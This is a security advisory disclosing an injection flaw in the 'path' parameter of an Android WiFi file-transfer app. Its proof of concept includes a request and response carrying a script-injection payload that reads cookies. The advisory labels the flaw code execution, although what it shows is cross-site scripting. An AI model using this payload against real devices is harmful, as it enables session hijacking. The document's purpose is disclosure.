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WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability

Document Title:
===============
WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1406


Release Date:
=============
2015-01-14


Vulnerability Laboratory ID (VL-ID):
====================================
1406


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
WiFi File Browser allows you to download and upload files to your mobile device 
by using your favourite web browser without 
the need of a USB cable. The application main focus is to deliver high speed 
file transfer to users. Many user reviews state 
that this is the fastest WiFi file transfer application

(Copy of the Vendor Homepage: 
https://play.google.com/store/apps/details?id=pt.webprods.android.file.manager.pro
 )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an arbitrary code 
execution vulnerability in the official WiFi File Browser Pro v2.0.8 (Android) 
mobile application.


Vulnerability Disclosure Timeline:
==================================
2015-01-14:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
ByteLounge
Product: WiFi File Browser - (Android) Web Application 2.0.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An arbitrary code execution vulnerability has been discovered in the official 
Wifi File Browser Pro v2.0.8 (Android) mobile application.
The vulnerability allows remote attackers to execute malicious codes on the 
application-side of the vulnerable browser app to compromise 
the target mobile device.

The vulnerability is located in the `path` value of the `browse` module. Remote 
attackers are able to manipulate the path value in the 
browse GET method request to compromise the application, user session 
information or connected device components. The vector of the issue 
is located on the application-side. Successful exploitation requires a 
client-side GET method request.

The security risk of the arbitrary code execution vulnerability is estimated as 
high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the arbitrary code execution vulnerability requires no user 
interaction or privileged web-application user account with password.
Successful exploitation of the vulnerability results in session hijacking, 
persistent phishing, persistent external redirects and persistent 
manipulation function or connected module context.

Request Method(s):
                                [+] [GET]

Vulnerable Module(s):
                                [+] browse

Vulnerable Parameter(s):
                                [+] path

Affected Module(s):
                                [+] Index of Documents (http://localhost:8080)


Proof of Concept (PoC):
=======================
The arbitrary code execution vulnerability can be exploited by remote attackers 
without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.


--- PoC Session Logs [GET] (Execution) ---
GET /browse?path=/_[ARBITRARY CODE EXECUTION VULNERABILITY!]&sfield=d&sorder=d 
HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 
Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive


PoC: Wifi Browser
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
<html xmlns="http://www.w3.org/1999/xhtml";>
<head>
<meta http-equiv="Content-Type" content="text/html; " />
<title>WiFi File Browser</title>
<link rel="stylesheet" type="text/css" media="screen" href="/style3.css" />
<script type="text/javascript" language="javascript">
var currentPath = 
'%2F_%3C%2Fscript%3E%3Cscript%3Eprompt%28document.cookies%29%3C%2Fscript%3E[CS 
XSS]';
var currentPathNotEnc = '/_[ARBITRARY CODE EXECUTION VULNERABILITY!]';
var curSortOrder = 'd';
var curSortMethod = 'd';
var curThumbs = '';
</script>


Reference:
http://localhost:8880/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction of the path value in 
the browse GET method request.
Encode and parse the input and filter with an own exception-handling to prevent 
arbitrary code execution in client-side requests.


Security Risk:
==============
The security risk of the arbitrary code execution vulnerability in the wifi 
browser is estimated as high. (CVSS 7.1)


Credits & Authors:
==================
Hadji Samir s-dz@xxxxxxxxxx


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=========================
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